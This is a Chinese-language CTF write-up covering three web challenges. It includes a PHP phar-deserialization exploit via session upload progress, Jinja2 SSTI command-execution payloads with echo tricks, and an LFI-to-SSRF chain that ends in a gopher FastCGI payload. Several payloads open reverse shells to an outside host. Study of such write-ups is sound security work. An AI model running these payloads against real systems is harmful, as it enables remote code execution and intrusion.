這四道題目Jasper大佬都做了鏡像可以直接拉取進行復現
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
n0ob_un4er
這道題沒有復現成功, 不知道為啥上傳了文件, 也在 /tmp目錄下生成了sess_PHPSESSID
的文件, 但是就是無法寫入內容, 文件的內容一直都是空白, 也直接用python的腳本一鍵運行, 顯示了惡意phar已copy到/tmp/tmp.tmp
, 但依舊沒啥用, 搞不明白, 所以僅記錄了解一下整個的一個過程, 加深了解session文件的利用
<?php
$SECRET = `/readsecret`;
include "waf.php";
class User {public $role;function __construct($role) {$this->role = $role;}
}
class Admin{public $code;function __construct($code) {$this->code = $code;}function __destruct() {echo "Admin can play everything!";eval($this->code);}
}
function game($filename) {if (!empty($filename)) {if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {echo "Well done!";} else {echo "Copy failed.";}} else {echo "User can play copy game.";}
}
function set_session(){global $SECRET;$data = serialize(new User("user"));$hmac = hash_hmac("sha256", $data, $SECRET);setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {global $SECRET;$data = $_COOKIE["session-data"];list($data, $hmac) = explode("-----", $data, 2);if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {die("hacker!");}$data = unserialize($data);if ( $data->role === "user" ){game($_GET["filename"]);}else if($data->role === "admin"){return new Admin($_GET['code']);}return 0;
}
if (!isset($_COOKIE["session-data"])) {set_session();highlight_file(__FILE__);
}else{highlight_file(__FILE__);check_session();
}
無法直接通過session-data偽造admin身份進行命令執行( 因為使用了hmac-sha256簽名算法, 且無法獲取到$SECRET, )
開始能用的就是只有copy, 而copy是可以使用phar偽協議的, 只有能夠反序列化Admin類就可以RCE, 所以要想到是利用phar打反序列化
phar反序列化需要有文件上傳的點, 這里沒有, 但可以將phar編碼為字符串進行寫入到文件里面去
所以需要找一個可控的文件, 一般可控的文件有臨時文件, 日志文件, session文件, 但這里設置了open_basedir
, 也就無法利用日志文件
臨時文件無法知道文件名, 也無法利用, 所以這里可用的就是session文件了, 并且這里php版本為7.2,這個版本就算不開啟session,只要上傳了文件,并且在cookie傳入了PHPSESSID,也會生成臨時的session文件
最終思路:
上傳文件, 然后在session的臨時文件上寫入編碼后的phar文件, 然后利用filter
偽協議將phar文件的內容還原寫到 /tmp/tmp.tmp文件中, 最后利用phar偽協議解析, 觸發反序列化進行 RCE
上傳文件: php upload process可以在/tmp下生成部分內容可控的sess_<sessionid>
文件
要有 PHPSESSID
在這個session文件里面開頭都會存在 upload_proccess_
利用到php exit死亡繞過的知識點, 將不可控的部分消除掉
可控內容之前的upload_process_
字段,添加aaaaaa
后,三次base64即可置空
可控內容之后,用string.strip_tags
過濾器可以全部清除掉,只需在可控部分之后加個<
即可
最終payload構造:: aaaaaa
+base64_encode(base64_encode(base64_encode(payload))) + <
這個payload是用于放在文件上傳的PHP_SESSION_UPLOAD_PROGRESS
下的內容
payload觸發:
?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/[PHPSESSID]
到這里就實現了/tmp/tmp.tmp任意寫
然后要構造phar文件內容
<?phpclass Admin{public $code;function __construct($code) {$this->code = $code;}}@unlink("exp.phar");$phar = new Phar("exp.phar"); // 后綴名必須為 phar,生成之后可以修改$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 設置stub$o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');");$phar->setMetadata($o); // 將自定義的 meta-data 存入 manifest$phar->addFromString("jasper", "123"); // 添加要壓縮的文件//簽名自動計算$phar->stopBuffering();$pharContent = file_get_contents('exp.phar');$b64 = base64_encode(base64_encode(base64_encode($pharContent)));print("bbbbbb".$b64.htmlspecialchars('<'));
?>
python腳本
import io
import requests
import threading
import timesessid = 'jasper1'
# url = 'http://127.0.0.1:8888/index.php'
url = "http://125.70.243.22:31293/index.php"
## read flag
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
# reverse shell
# phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGeFdFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZDYWtGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBhbGt3VDJsS2VtVllUakJhVnpCdlNubENhVmxZVG05SlF6RnFTVU5LYVZsWVRtOUpRekZ3U1VRMGJVbERPV3RhV0ZsMlpFZE9kMHg2UlhoT2FUUXlUV2swZWs5RE5ETk5VemcxVDFSck5VbEVRU3RLYWtWcFNubHJOMGxxZERsQ1owRkJRVWR3YUdNelFteGpaMDFCUVVGRFVqRnNVbTVCZDBGQlFVNUthbE5KYVRKQlVVRkJRVUZCUVVGRVJYbE5lV2xOVG5GMGFFaElOMmhyT0Uxa1EwZFJjM2hGY1hORE1XZDBRV2RCUVVGRlpFTlVWVWs5<"# 全局事件,用于協調線程退出
stop_event = threading.Event()def write_session_file(session):while not stop_event.is_set():f = io.BytesIO(b'a' * 1024 * 50)session.post(url,data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload},files={"file": ('q.txt', f)},cookies={'PHPSESSID': sessid})def copy_to_tmp(session):payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessidwhile not stop_event.is_set():res = requests.get(url + payload, cookies=session.cookies)if "Well done!" in res.text:print("[+] 惡意phar已copy到/tmp/tmp.tmp ...")else:print("[-] 拷貝失敗!")if "flag" in res.text or "D0g3xGC" in res.text:stop_event.set() ## 設置退出事件breakdef unser_phar(session):payload = "?filename=phar:///tmp/tmp.tmp/jasper"while not stop_event.is_set():res = requests.get(url + payload, cookies=session.cookies)if "flag" in res.text or "D0g3xGC" in res.text:print(res.text)print("[+] 利用成功!")stop_event.set() ## 設置退出事件breaksession = requests.Session()# 創建并啟動線程
write_thread = threading.Thread(target=write_session_file, args=(session,))
write_thread.daemon = True
write_thread.start()copy_thread = threading.Thread(target=copy_to_tmp, args=(session,))
copy_thread.daemon = True
copy_thread.start()unser_thread = threading.Thread(target=unser_phar, args=(session,))
unser_thread.daemon = True
unser_thread.start()# 主線程保持活躍,等待子線程結束
while not stop_event.is_set():time.sleep(1)
Ez_Gallery
admin/123456登錄進去
任意文件讀取, 讀取源碼 app.py
import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import osclass User:def __init__(self, username, password):self.username = usernameself.password = passwordusers = {"admin": User("admin", "123456")}def root_view(request):# 重定向到 /loginreturn HTTPFound(location='/login')def info_view(request):# 查看細節內容if request.session.get('username') != 'admin':return Response("請先登錄", status=403)file_name = request.params.get('file')file_base, file_extension = os.path.splitext(file_name)if file_name:file_path = os.path.join('/app/static/details/', file_name)try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()print(content)except FileNotFoundError:content = "文件未找到。"else:content = "未提供文件名。"return {'file_name': file_name, 'content': content, 'file_base': file_base}def home_view(request):# 主路由if request.session.get('username') != 'admin':return Response("請先登錄", status=403)detailtxt = os.listdir('/app/static/details/')picture_list = [i[:i.index('.')] for i in detailtxt]file_contents = {}for picture in picture_list:with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:file_contents[picture] = f.read(80)return {'picture_list': picture_list, 'file_contents': file_contents}def login_view(request):if request.method == 'POST':username = request.POST.get('username')password = request.POST.get('password')user_captcha = request.POST.get('captcha', '').upper()if user_captcha != captcha_store.get('captcha_text', ''):return Response("驗證碼錯誤,請重試。")user = users.get(username)if user and user.password == password:request.session['username'] = usernamereturn Response("登錄成功!<a href='/home'>點擊進入主頁</a>")else:return Response("用戶名或密碼錯誤。")return {}def shell_view(request):if request.session.get('username') != 'admin':return Response("請先登錄", status=403)expression = request.GET.get('shellcmd', '')blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*']if any(re.search(pattern, expression) for pattern in blacklist_patterns):return Response('wafwafwaf')try:result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})if result is not None:return Response('success')else:return Response('error')except Exception as e:return Response('error')def main():session_factory = SignedCookieSessionFactory('secret_key')with Configurator(session_factory=session_factory) as config:config.include('pyramid_chameleon') # 添加渲染模板config.add_static_view(name='static', path='/app/static')config.set_default_permission('view') # 設置默認權限為view# 注冊路由config.add_route('root', '/')config.add_route('captcha', '/captcha')config.add_route('home', '/home')config.add_route('info', '/info')config.add_route('login', '/login')config.add_route('shell', '/shell')# 注冊視圖config.add_view(root_view, route_name='root')config.add_view(captcha_image_view, route_name='captcha')config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')config.add_view(login_view, route_name='login', renderer='login.pt')config.add_view(shell_view, route_name='shell', renderer='string', permission='view')config.scan()app = config.make_wsgi_app()return appif __name__ == "__main__":app = main()server = make_server('0.0.0.0', 6543, app)server.serve_forever()
黑名單:
blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\\..*', r'.*soft.*', r'.*%.*']
沒有回顯, 需要一些方法去拿到回顯
官方wp:
{{cycler.__init__.__globals__. __builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response, 'text',__import__('os').popen('whoami').read()))",{'request': request})}}
過濾了點 .
, 需要繞過, 用[ ]
繞過
以及用getattr
繞過 request.add_response_callback
==> getattr(request,'add_response_callback')
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')
(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}}
其他大佬的方法:
{{cycler['__init__']['__globals__']['__builtins__']
['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']
('sys')['modules']['wsgiref']['simple_server']
['ServerHandler'],'http_version',cycler['__init__']
['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}
Jinja2-SSTI 新回顯方式技術學習
從這道題目去學習了一下Jinja2-SSTI 新回顯方式技術
環境搭建
app.py
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)@app.route('/', methods=["POST"])
def template():template = request.form.get("code")result=render_template_string(template)print(result)if result !=None:return "OK"else:return "error"if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=8000)
flask中的Server頭回顯
響應包里面的server頭打印了Werkzeug和python的版本號, 可以利用它的值進行回顯
大佬們的文章分析的很清楚, Server
頭的值是從self.version_string()
出來的,而 version_string
方法,其實就是直接將server_version
屬性和sys_version
屬性拼接在一起的
以屬性的方式存放于類中, 那么就可以通過一些賦值的方式將我們的代碼或者是命令執行的回顯放在這個這個屬性中, 從而隨著請求頭的send, 我們需要的回顯就會出現在響應包里面
但是 WSGIRequestHandler
的server_version
其實是方法
class WSGIRequestHandler(BaseHTTPRequestHandler):server: BaseWSGIServer@propertydef server_version(self) -> str: # type: ignorereturn self.server._server_version
是一個方法而不是屬性, 好像無法通過利用 setattr
這種去進行賦值(因為lambda匿名函數表達式不被jinja2引擎解析)
但是它前面又有一個 @property
==> 它把方法包裝成屬性,讓方法可以以屬性的形式被訪問和調用
所以我們可以直接給他賦str類型的值
關鍵是需要調用到 werkzeug.serving.WSGIRequestHandler
類, 使用 setattr
控制它的server_version
屬性的值
payload
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}# 這里的g是 flask 提供的一個全局變量
# sys 模塊的 modules 屬性以字典的形式包含了程序自開始運行時所有已加載過的模塊, 從這里獲取所需要的werkzeug模塊, 從而獲取到WSGIRequestHandler 對象
同理也可以換成 sys_version
HTTP協議回顯
看到 send_response 方法
def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.Also send two standard headers with the server software
version and the current date."""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())
發送一些信息, 其實就是回顯包里面的那些信息,
看到 send_response_only 方法
def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':if message is None:if code in self.responses:message = self.responses[code][0]else:message = ''if not hasattr(self, '_headers_buffer'):self._headers_buffer = []self._headers_buffer.append(("%s %d %s\r\n" %(self.protocol_version, code, message)).encode('latin-1', 'strict'))
可以看到這三個值都是頁面上回顯的值, 那么只要能夠控制他們的值, 就可以得到我們想要的回顯了
首先 protocol_version
它是 werkzeug.serving.WSGIRequestHandler
里面的一個屬性,
所以需要獲取到WSGIRequestHandler
對象
sys
模塊的 modules
屬性以字典的形式包含了程序自開始運行時所有已加載過的模塊,可以直接從該屬性中獲取到目標模塊
而獲取sys模塊的方式有很多種, 可以從__spec__
的全局變量中獲取
{{lipsum.__spec__.__init__.__globals__}}
最終獲取 WSGIRequestHandler 對象里面的 protocol_version 屬性
{{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler.__dict__}}
然后就是使用 setattr
方法控制 protocol_version 屬性的值
payload
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo xpw').read())}}
參考文章:
https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDI2DfosHKwd43x
https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIg8QrbCACEioD%#toc-7
signal
網站進去一個登錄框, dirsearch掃一下目錄
有一個/.index.php.swp
最近我朋友讓我給他注冊個賬號,還想要在他的專屬頁面實現查看文件的功能。好吧,那就給他創個guest:MyF3iend,我是不可能給他我的admin賬戶的
拿到一個賬號密碼: guest:MyF3iend
登錄進去, 觀察到它的 url
存在一個任意文件讀取漏洞, 因為之前掃目錄可用掃到一個 admin.php
,直接讀取會跳轉到 index.php
, 說明被執行了, 所以這里可以猜測是用了include
函數來包含的 , 需要使用php偽協議繞過一下讀取源碼, 但是也過濾了挺多, 二次編碼一下繞過
?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php
讀取到admin.php
<?php
session_start();
error_reporting(0);if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {$_SESSION['error'] = 'Please fill in the username and password';header("Location: index.php");exit();
}$url = $_POST['url'];
$error_message = '';
$page_content = '';if (isset($url)) {if (!preg_match('/^https:\/\//', $url)) {$error_message = 'Invalid URL, only https allowed';} else {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page_content = curl_exec($ch);if ($page_content === false) {$error_message = 'Failed to fetch the URL content'.curl_error($ch);}curl_close($ch);}
}
?>
讀一下guest.php, 存在waf的內容
<?php
session_start();
error_reporting(0);if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {$_SESSION['error'] = 'Please fill in the username and password';header('Location: index.php');exit();
}if (!isset($_GET['path'])) {header("Location: /guest.php?path=/tmp/hello.php");exit;
}$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {echo "Don't do this";
}else{include($path);
}?>
還是需要進入admin.php
里面去, 需要拿到它的賬號密碼
在最初的登錄界面那里可以發現一個 StoredAccounts.php
讀取一下試試
StoredAccounts.php
給了admin的密碼
<?php
session_start();$users = ['admin' => 'FetxRuFebAdm4nHace','guest' => 'MyF3iend'
];if (isset($_POST['username']) && isset($_POST['password'])) {$username = $_POST['username'];$password = $_POST['password'];if (isset($users[$username]) && $users[$username] === $password) {$_SESSION['logged_in'] = true;$_SESSION['username'] = $username;if ($username === 'admin') {header('Location: admin.php');} else {header('Location: guest.php');}exit();} else {$_SESSION['error'] = 'Invalid username or password';header('Location: index.php');exit();}
} else {$_SESSION['error'] = 'Please fill in the username and password';header('Location: index.php');exit();
}
登錄admin用戶, 存在一個url參數打sstf, 但是只能限定是 https
, vps要https打302, 沒有域名的話借助ngrok工具, 在服務器上面使用這個工具可以創建一個臨時網站
ngrok: https://download.ngrok.com/linux?tab=download
用于本地服務跳轉的代碼:
from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def indexRedirect():redirectUrl = 'http://[ip]/302.php'return redirect(redirectUrl)if __name__ == '__main__':app.run('127.0.0.1', port=8080, debug=True)
ngrok用于搭建臨時網站:
ngrok http 8080
將這個傳入url, 可以看到內容
接下來就是利用工具生成payload打fastcgi
改一下app.py
的url
可以看到已經執行了命令
那么接下來就是反彈shell了
同理app.py也相應的更改:
from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def indexRedirect():redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/[ip]/6666%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'return redirect(redirectUrl)if __name__ == '__main__':app.run('127.0.0.1', port=8080, debug=True)
后面本來還有一個提權, 但是這個環境好像沒有, 拿別的師傅的截圖記錄一下
sudo cat /tmp/whereflag/../../../root/flag
參考文章:
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
https://www.cnblogs.com/Litsasuk/articles/18593334#%E5%87%BA%E9%A2%98%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://www.cnblogs.com/dghh/p/18598149